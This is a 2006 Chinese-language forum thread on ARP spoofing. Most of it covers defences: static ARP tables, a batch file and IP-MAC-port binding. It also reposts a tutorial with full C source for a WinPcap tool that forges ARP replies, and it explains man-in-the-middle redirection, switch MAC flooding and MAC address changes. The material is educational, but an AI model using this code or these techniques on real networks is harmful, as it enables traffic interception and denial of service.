在絕大多數操作系統如:Unix,BSD,NT等,都可以結合"禁止相應網路 接頭做ARP解析"和"使用靜態ARP表"的設置來對抗ARP欺騙攻擊。而Linux系統,其靜態ARP表項不會被動態重新整理,所以不需要"禁止相應網路接頭做ARP解析"即可對抗ARP欺騙攻擊。


結尾:本文還較深入和直觀地介紹了ARP協議的基本原理與基本工作過程及ARP欺騙技術。以及其對策,如果你有什麼更好的ARP欺騙技術的對策,歡迎交流。謝謝。

此帖於 2006-07-14 03:56 AM 被 psac 編輯.
psac 目前離線  
送花文章: 3, 收花文章: 1625 篇, 收花: 3196 次
舊 2006-07-14, 03:31 AM   #5 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

Q:
怎麼防網路剪刀手
有哪位老大知道怎麼防網路剪刀手 和網路執法官的辦法啊,最好是多說幾個方法 ,謝了。


A:
防範網路剪刀手等工具的辦法

網路剪刀手等工具的原理就是利用了ARP欺騙,所以,只要防止了ARP欺騙也等於防止了網路剪刀手。

解決辦法:應該把你的網路安全信任關係建立在IP+MAC卡位址基礎上,設置靜態的MAC-地址->IP對應表,不要讓主機重新整理你設定好的轉換表。

  具體步驟:編寫一個批處理文件arp.bat內容如下(假設192.168.1.2的mac地址是00-22-aa-00-22-aa):

  @echo off
  arp -d
  arp -s 192.168.1.2 00-22-aa-00-22-aa
.
.
.
arp -s 192.168.1.254 00-99-cc-00-99-cc
(所有的IP與相應MAC卡位址都按上面的格式寫好)

  將文件中的IP位址和MAC卡位址更改為您自己的網路IP位址和MAC卡位址即可。

 將這個批處理軟件拖到每一台主機的「windows--開始--程式--啟動」中。這樣每次開機時,都會重新整理ARP表。

如果有人重新整理了你的ARP快取記憶體表,你手動執行arp.bat再次恢復即可。


轉帖]MAC學習
MAC卡位址也叫物理位址、硬體位址或鏈路位址,由網路設備製造商生產時寫在硬體內部。IP位址與MAC卡位址在電腦裡都是以二進製表示的,IP位址是32位的,而MAC卡位址則是48位的。MAC卡位址的長度為48位(6個字節),通常表示為12個16進制數,每2個16進制數之間用冒號隔開,如:08:00:20:0A:8C:6D就是一個MAC卡位址,其中前6位16進制數08:00:20代表網路硬體製造商的編號,它由IEEE(電氣與電子工程師協會)分配,而後3位16進制數0A:8C:6D代表該製造商所製造的某個網路產品(如網卡)的系列號。只要你不去更改自己的MAC卡位址,那麼你的MAC卡位址在世界是惟一的。
網路剪刀手還以這樣防
進入「MS-DOS方式」或「命令提示字元」,在命令提示字元下輸入命令:ARP -s 10.88.56.72 00-10-5C-AD-72-E3,即可把MAC卡位址和IP位址捆綁在一起。這樣,就不會出現IP位址被盜用而不能正常使用網路的情況,更不會被網路剪刀手剪斷,可以有效保證小區網路的安全和用戶的應用。
注意:ARP命令僅對局域網的上網代理服務器有用,而且是針對靜態IP位址,如果採用Modem撥號上網或是動態IP位址就不起作用。
不過,只是簡單地綁定IP和MAC卡位址是不能完全的解決IP盜用問題的。作為一個網路供應商,他們有責任為用戶解決好這些問題之的後,才交給用戶使用,而不是把安全問題交給用戶來解決。不應該讓用戶來承擔一些不必要盜用的損失。
作為網路供應商,最常用也是最有效的解決方法就是在IP、MAC綁定的基礎上,再把連接阜綁定進去,即IP-MAC-PORT三者綁定在一起,連接阜(PORT)指的是交換機的連接阜。這就需要在布線時候做好連接阜定時管理工作。在布線時應該把用戶牆上的接線盒和交換機的連接阜一一對應,並做好登記工作,然後把用戶交上來的MAC卡位址填入對應的交換機連接阜,進而再和IP一起綁定,達到IP-MAC-PORT的三者綁定。這樣一來,即使盜用者擁有這個IP對應的MAC卡位址,但是它不可能同樣擁有牆上的連接阜,因此,從物理通道上隔離了盜用者。
單間的說MAC卡位址是指網卡物理位址..相當於網卡的"身份證"..它唯一的...
IP-MAC綁定是指將IP位址與MAC卡位址進行綁定.這樣子就不能任意修改IP位址了...因為MAC卡位址是唯一的..



要想會防就要先攻[轉帖]
乙太網內的嗅探(sniff)對於網路安全來說並不是什麼好事,雖然對於網路管理員能夠跟蹤資料包並且發現
網路問題,但是如果被破壞者利用的話,就對整個網路構成嚴重的安全威脅。至於嗅探的好處和壞處就不囉嗦了。


ARP快取記憶體表
假設這樣一個網路:

——————————
| HUB |
——————————
| | |
| | |
| | |
HostA HostB HostC

其中
A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假設B是屬於一個嗅探愛好者的,比如A機器的ARP快取記憶體:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

這是192.168.10.1機器上的ARP快取記憶體表,假設,A進行一次ping 192.168.10.3操作,PING主機C,會查詢本機的
ARP快取記憶體表,找到C的IP位址的MAC卡位址,那麼就會進行資料傳輸,目的地就是C 的MAC卡位址。如果A中沒有C的ARP記
錄,那麼A首先要廣播一次ARP請求,當C接收到A 的請求後就發送一個應答,應答中包含有C的MAC卡位址,然後A接
收到C的應答,就會更新本機的ARP快取記憶體。接著使用這個MAC卡位址發送資料(由網卡附加MAC卡位址)。
因此,本機高速快取記憶體的這個ARP表是本機網路流通的基礎,而且這個快取記憶體是動態的。


集線器網路(Hub-Based)

很多網路都是用Hub進行連接的。資料包經過Hub傳輸到其他電腦的時候,Hub只是簡單地把這個資料包廣播
到Hub的所有連接阜上。
這就是上面舉例中的一種網路結構。

現在A需要發送TCP資料包給C。首先,A需要檢查本機的ARP 快取記憶體表,檢視是否有IP為192.168.10.3即C的ARP記
錄,如果沒有那麼A將要廣播一個ARP請求,當C接收到這個請求後,就作出應答,然後A更新自己的ARP快取記憶體表。並
且獲得與C的IP相對應的MAC卡位址。這時就傳輸這個TCP資料包,Ethernet幀中就包含了C的MAC卡位址。當資料包傳輸
到HUB的時候,HUB直接把整個資料包廣播到所有的連接阜,然後C就能夠接收到A發送的資料包。

正因為HUB把資料廣播到所有的連接阜,所以電腦B也能夠收到A發送給C的資料包。這正是達到了B嗅探的目的。

因此,Hub-Based的網路基本沒有安全可言,嗅探在這樣的網路中非常容易。


交換網路(Switched Lan)

交換機用來代替HUB,正是為了能夠解決HUB的幾個安全問題,其中就是能夠來解決嗅探問題。Switch不是把數
據包進行連接阜廣播,它將通過自己的ARP快取記憶體來決定資料包傳輸到那個連接阜上。因此,在交換網路上,如果把上面
例子中的HUB換為Switch,B就不會接收到A發送給C的資料包,即便設置網卡為混雜模式,也不能進行嗅探。


ARP欺騙( ARP spoofing)

ARP協議並不只在發送了ARP請求才接收ARP應答。當電腦接收到ARP應答資料包的時候,就會對本機的ARP快取記憶體
進行更新,將應答中的IP和MAC卡位址存儲在ARP快取記憶體中。因此,在上面的假設網路中,B向A發送一個自己偽造的ARP應
答,而這個應答中的資料為發送方IP位址是192.168.10.3(C的IP位址),MAC卡位址是DD-DD-DD-DD-DD-DD(C的MAC地
址本來應該是CC-CC-CC-CC-CC-CC,這裡被偽造了)。當A接收到B偽造的ARP應答,就會更新本機的ARP快取記憶體(A可不
知道被偽造了)。

現在A機器的ARP快取記憶體更新了:

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

這可不是小事。局域網的網路流通可不是根據IP位址進行,而是按照MAC卡位址進行傳輸。現在192.168.10.3的
MAC卡位址在A上被改變成一個本不存在的MAC卡位址。現在A開始Ping 192.168.10.3,網卡遞交的MAC卡位址是
DD-DD-DD-DD-DD-DD,結果是什麼呢?網路不通,A根本不能Ping通C!!

這就是一個簡單的ARP欺騙。

我們來實現這樣的ARP欺騙。這裡需要使用一個WinPcap提供的API和驅動。(http://winpcap.polito.it/)
winpcap是一個偉大而且開放的專案。Windows環境下的nmap、snort、windump都是使用的winpcap。

///////////////////////////////////////////////////////////////////////////////
//
// ARP Sender
//
// Creator: Refdom
// Email: refdom@263.net
// Home Page: www.opengram.com
//
// 2002/4/7
//
////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "Mac.h" //GetMacAddr(),我寫的把字元串轉換為MAC卡位址的函數,就不列在這裡了
#include <stdio.h>
#include <Packet32.h>

#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");

//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一個網卡(假設啦)

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_value))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC卡位址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC卡位址。(A的地址)

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC卡位址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP位址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目標A的MAC卡位址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標A的IP位址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}

printf ("Send ok!\n");

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}

於是A接收到一個被偽造的ARP應答。A被欺騙了!!倘若在局域網中看某某機器不順眼,……


乙太網中的嗅探太有作用了,但是交換網路對嗅探進行了限制,讓嗅探深入程度大打折扣。不過,很容易就能
夠發現,主機、Switch(動態更新地址表類型,下同)中的快取記憶體表依然是(主要是)動態的。要在一個交換網路中
進行有效的嗅探工作(地下黨?),需要採用對付各種快取記憶體表的辦法,連騙帶哄,甚至亂踹,在上面的ARP欺騙基礎
中我們就能夠做到。


對目標進行ARP欺騙

就像上面程式中實現的一樣,對目標A進行欺騙,A去Ping主機C卻發送到了DD-DD-DD-DD-DD-DD這個地址上。如
果進行欺騙的時候,把C的MAC卡位址騙為BB-BB-BB-BB-BB-BB,於是A發送到C上的資料包都變成發送給B的了。這不正
好是B能夠接收到A發送的資料包了麼,嗅探成功。
A對這個變化一點都沒有意識到,但是接下來的事情就讓A產生了懷疑。因為A和C連接不上了!!B對接收到A發送
給C的資料包可沒有轉交給C。
做「man in the middle」,進行ARP重定向。打開B的IP轉發功能,A發送過來的資料包,轉發給C,好比一個路由
器一樣。不過,假如B發送ICMP重定向的話就中斷了整個計劃。
直接進行整個包的修改轉發,捕獲到A發送給的資料包,全部進行修改後再轉發給C,而C接收到的資料包完全認為
是從A發送來的。不過,C發送的資料包又直接傳遞給A,倘若再次進行對C的ARP欺騙。現在B就完全成為A與C的中間橋
梁了。


對Switch的MAC欺騙

Switch上同樣維護著一個動態的MAC快取記憶體,它一般是這樣,首先,交換機內部有一個對應的列表,交換機的連接阜對
應MAC卡位址表Port n <-> Mac記錄著每一個連接阜下面存在那些MAC卡位址,這個表開始是空的,交換機從來往資料幀中學
習。舉例來說,當Port 1口所接的電腦發出了一個資料幀,這幀資料從Port 1進入交換機,交換機就取這個資料幀
的原MAC卡位址AAAA,然後在地址表中記錄:Port 1 <-> AAAA, 以後,所有發向MAC卡位址為AAAA的資料幀,就全從Port 1
口輸出,而不會從其它的口輸出。

跟前面對目標進行欺騙相類似。如果把Switch上的MAC-PORT表修改了,那麼對應的MAC和PORT就一樣跟著改變,本來
不應該發送到嗅探器的資料結果發送過來了,這樣也達到了嗅探的目的。修改本機(B)發送的資料包MAC卡位址為原來A的
MAC卡位址,當經過交換機的時候,交換機發現連接阜B對應的地址是機器A的MAC卡位址,於是就將會把A的MAC卡位址同連接阜B相對
應,從而把發送給A的資料從連接阜B傳輸了,本來這些應該是傳送到連接阜A的。因此,從機器B就能夠獲得發送給A的資料。

但是,這裡有一個問題,A將接收不到資料了。嗅探不目的並不是要去破壞正常的資料通訊。同時,從剛才的欺騙中,
讓交換機中一個MAC卡位址對應了多個連接阜,這種對於交換機處理還不清楚。還請多指教。


對Switch進行Flood

就像上面介紹Switch的MAC和Port對應關係形成的原理,因為MAC-PORT快取記憶體表是動態更新的,那麼讓整個Switch的端
口表都改變,對Switch進行MAC卡位址欺騙的Flood,不斷發送大量假MAC卡位址的資料包,Switch就更新MAC-PORT快取記憶體,如果
能通過這樣的辦法把以前正常的MAC和Port對應的關係破壞了,那麼Switch就會進行泛洪發送給每一個連接阜,讓Switch基
本變成一個HUB,向所有的連接阜發送資料包,要嗅探的目的一樣能夠達到。

存在的問題,Switch對這種極限情況的處理,因為屬於不正常情況,可能會引起包丟失情況。而且現在對這種極限情
況的Switch狀態還很不瞭解。如果對網路通訊造成了大的破壞,這不屬於正常的嗅探(嗅探也會引起一些丟失)。


對Switch進行各種手段的操作,需要小心,如果打開了連接阜保護,那麼可能會讓交換機關閉所有用戶。因此,對交換
機這樣的設備進行欺騙或者其他操作,還不如對一些上級設備進行欺騙,比如目標主機或者路由器。

至於上面關於嗅探的手段都是基於這個動態表進行的。因此,使用靜態的ARP就能夠進行防範了。對於WIN,使用
arp -s 來進行靜態ARP的設置。



更改MAC卡位址

一般MAC卡位址在網卡中是固定的,當然也有網路高手會想辦法去修改自己的MAC卡位址。修改自己的MAC卡位址有兩種方法,一種是硬體修改,另外一種是軟件修改。
硬體的方法就是直接對網卡進行操作,修改儲存在網卡的EPROM裡面的MAC卡位址,通過網卡生產廠家提供的修改程式可以更改存儲器裡的地址。那麼什麼叫做EPROM呢?EPROM是電子學中一種存儲器的專業術語,它是可擦寫的,也就是說一張白紙你用鋼筆寫了一遍以後就不能再用橡皮擦去了,而EPROM這張白紙用鉛筆寫後可以再擦去,可以反覆改變其中資料的存儲器。
當然軟件修改的方法就相對來說要簡單得多了,在Windows中,網卡的MAC儲存在註冊表中,實際使用也是從註冊表中提取的,所以只要修改註冊表就可以改變MAC。Windows 9x中修改:打開註冊表編輯器,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Service\Class\Net\下的0000,0001,0002。

Windows 2000/XP中的修改:同樣打開註冊表編輯器,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Class\4D36E970-E325-11CE-BFC1-08002BE10318 中的0000,0001,0002中的DriverDesc,如果在0000找到,就在0000下面新增字元串變數,命名為「NetworkAddress」,值為要設置的MAC卡位址,例如:000102030405

完成上述操作後重啟就好了。一般網卡發出的包的源MAC卡位址並不是網卡本身寫上去的,而是應用程式提供的,只是在通常的實現中,應用程式先從網卡上得到MAC卡位址,每次發送的時候都用這個MAC作為源MAC而已,而註冊表中的MAC卡位址是在Windows安裝的時候從網卡中讀入的,只要你的操作系統不重新安裝應該問題不大。

此帖於 2006-07-14 03:58 AM 被 psac 編輯.
psac 目前離線  
送花文章: 3, 收花文章: 1625 篇, 收花: 3196 次
 


主題工具
顯示模式

發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 01:34 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2019, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1